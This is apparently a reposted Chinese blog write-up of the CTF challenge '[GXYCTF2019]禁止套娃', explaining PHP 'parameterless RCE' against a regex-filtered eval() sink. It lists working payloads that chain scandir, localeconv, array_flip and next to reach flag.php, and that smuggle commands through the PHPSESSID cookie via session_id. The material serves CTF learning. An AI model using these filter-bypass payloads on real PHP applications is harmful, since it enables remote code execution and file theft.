PHP无参RCE

介绍

无参数RCE的形式如下,即只允许函数“套娃”,不允许传入其他参数。

if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { 
      eval($_GET['code']);
}

preg_replace('/[a-z]+((?R)?)/', NULL, $code)

例题「[GXYCTF2019]禁止套娃」

<?php
include("flag.php");

echo "flag在哪里呢?<br>";
$_GET['exp'] = "chr(ord());";
if(isset($_GET['exp'])){
    if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

由于无法传入多余参数来调用函数,我们可以尝试利用与数组有关的函数与rand(),next(),prev()等数组操作函数,从而控制数组的取值。

我们的目标是读取flag.php,因此我们需要一个包含“flag.php”的数组,可以想到利用scandir(".")得到该数组

但由于函数调用必须是无参的,则可以利用 current(localeconv()) 或 pos(localconv()) 来构造小数点,其中localeconv()函数返回了货币设置数组,恰好首元素为小数点字符

通过 exp=print_r(scandir(current(localeconv()))) 已经获取到了包含“flag.php”的数组

接下来的工作就将这个字符串提取出来,再执行readfile、show_source、highlight_file、file_get_contents

此外我们可通过eval + Request的一些参数来构造参数

数组利用

// 随机获取
exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
// 获取倒数第二个元素
exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));

session利用

  1. eval + url解码,在本题中由于“dec”被过滤,无法使用
    由于session_id中不能出现引号,因此通过两次url编码来解决
exp=eval(urldecode(session_id(session_start())));
PHPSESSID=highlight_file(%2522flag.php%2522)%3B
  1. eval + chr 拼接
exp=eval(session_id(session_start())));
PHPSESSID=highlight_file(chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))%3b
// `%3b`为封号,否则eval将无法解析语句,原语句为`eval(highlight_file("flag.php"))`


  1. eval + $_GET传参
    由实验1发现PHPSESSID进制传入引号,从而想到可以使用$_GET[a]来构造一个密码为a的传值方式,这与$_GET["a"]是等价的
exp=eval(session_id(session_start()));&a=flag.php
PHPSESSID=highlight_file($_GET[a])%3b


  1. 仅获取字符串
exp=highlight_file(session_id(session_start()));&a=flag.php
PHPSESSID=flag.php

headers利用

  1. getallheaders()
    原理基本一致,本题中“et”被屏蔽因此无法利用

常用函数总结

array_rand()、array_flip()
array_reverse()
next()、prev()、end()、current()、pos()
getallheaders()
chr()、ord()、hex2bin()、
session_id()、session_start()
show_source()、readfile()、highlight_file()、file_get_contents()
current(localeconv())
scandir()、chdir()、getpwd()
next(scandir(current(localeconv())));
chdir(next(scandir(current(localeconv()))));
$_GET、$_POST、$_FILE

原文地址:https://www.cnblogs.com/chir/p/13420148.html